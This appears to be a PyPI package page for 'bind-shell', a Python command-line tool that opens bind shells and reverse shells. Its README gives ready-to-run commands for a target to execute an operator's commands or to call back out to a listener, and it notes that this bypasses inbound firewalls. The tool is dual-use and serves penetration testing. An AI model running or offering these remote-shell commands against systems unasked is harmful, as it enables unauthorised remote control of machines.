Skip to main content

A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.

Project description

bind-shell PyPi PyPiStats

A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.

Install

Use pipx to install globally in an isolated python environment.

pipx install bind-shell

Usage

 Usage: bind-shell [OPTIONS] COMMAND [ARGS]...

╭─ Options ───────────────────────────────────────────────────────────────────────────────────╮
│ --install-completion          Install completion for the current shell.                     │
│ --show-completion             Show completion for the current shell, to copy it or          │
│                               customize the installation.                                   │
│ --help                        Show this message and exit.                                   │
╰─────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Commands ──────────────────────────────────────────────────────────────────────────────────╮
│ server    Bind shell: bind a port and execute commands from an incoming client               │
│ client    Bind shell: connect to a server and send commands interactively                   │
│ listen    Reverse shell: bind a port and send commands to an incoming connector              │
│ connect   Reverse shell: connect out to a listener and execute its commands                 │
╰─────────────────────────────────────────────────────────────────────────────────────────────╯

Bind shell

In a bind shell the target runs server — it binds a port and waits. The operator runs client to connect in and issue commands.

On the target:

$ bind-shell server
Bind-Shell Connection: bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg

On the operator:

$ bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg

Reverse shell

In a reverse shell the operator runs listen — it binds a port and waits. The target runs connect to call back out, bypassing inbound firewall rules.

On the operator:

$ bind-shell listen
Reverse-Shell Connection: bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw

On the target:

$ bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw

Options

All commands accept --port (default: 4444). server and listen also accept --host to control the bind address (default: 0.0.0.0). client and connect require --password generated by server or listen.

bind-shell server --host 0.0.0.0 --port 4444
bind-shell client <ip> --port 4444 --password some-pass
bind-shell listen --host 0.0.0.0 --port 4444
bind-shell connect <ip> --port 4444 --password some-pass

Type exit or quit to close a session.

Dev Prerequisites

  • python >=3.10
  • pipx, an optional tool for prerequisite installs
  • poetry (install globally with pipx install poetry)
  • flake8 (install globally with pipx install flake8)
    • flake8-bugbear extension (install with pipx inject flake8 flake8-bugbear)
    • flake8-naming extension (install with pipx inject flake8 pep8-naming)
  • black (install globally with pipx install black)
  • pre-commit (install globally with pipx install pre-commit)
  • just, a Justfile command runner

Updating python version

  • Update python version in Dev Prerequisites above
  • Update [tool.poetry.dependencies] section of pyproject.toml
  • Update pyupgrade hook in .pre-commit-config.yaml
  • Update python version in .gitlab-ci.yml

Justfile Targets

  • install: installs poetry dependencies and pre-commit git hooks
  • update_boilerplate: fetches and applies updates from the boilerplate remote
  • test: runs pytest with test coverage report

Boilerplate

This project tracks the pyplate boilerplate via the boilerplate git remote. Run just update_boilerplate to pull latest changes. NOTE: keep the boilerplate remote history intact to successfully merge future updates.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

bind_shell-0.1.2rc2.tar.gz (5.7 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

bind_shell-0.1.2rc2-py3-none-any.whl (5.7 kB view details)

Uploaded Python 3

File details

Details for the file bind_shell-0.1.2rc2.tar.gz.

File metadata

  • Download URL: bind_shell-0.1.2rc2.tar.gz
  • Upload date:
  • Size: 5.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/2.4.1 CPython/3.13.13 Linux/5.15.154+

File hashes

Hashes for bind_shell-0.1.2rc2.tar.gz
Algorithm Hash digest
SHA256 c595e8f83c55f14d9a5db24406e736b7fa706670ea64b1a9cc0e419cb3d8fda5
MD5 8e4ddfe6e1d311d7bf89f85ac60f3a05
BLAKE2b-256 dd4831325df33e3bef87c1173cc6fb708d049320a38427421353276fe0b3a425

See more details on using hashes here.

File details

Details for the file bind_shell-0.1.2rc2-py3-none-any.whl.

File metadata

  • Download URL: bind_shell-0.1.2rc2-py3-none-any.whl
  • Upload date:
  • Size: 5.7 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: poetry/2.4.1 CPython/3.13.13 Linux/5.15.154+

File hashes

Hashes for bind_shell-0.1.2rc2-py3-none-any.whl
Algorithm Hash digest
SHA256 e4db8c6cb598be332c94bdd1cd6e12600dc2fdb12e541bafd7fc7148a2a816d6
MD5 97248da8f13c049e53f1b6944c48e583
BLAKE2b-256 bfd7cf87957d4785624664fb21347e3e03b886b56abff5bf904d96ba53f52243

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page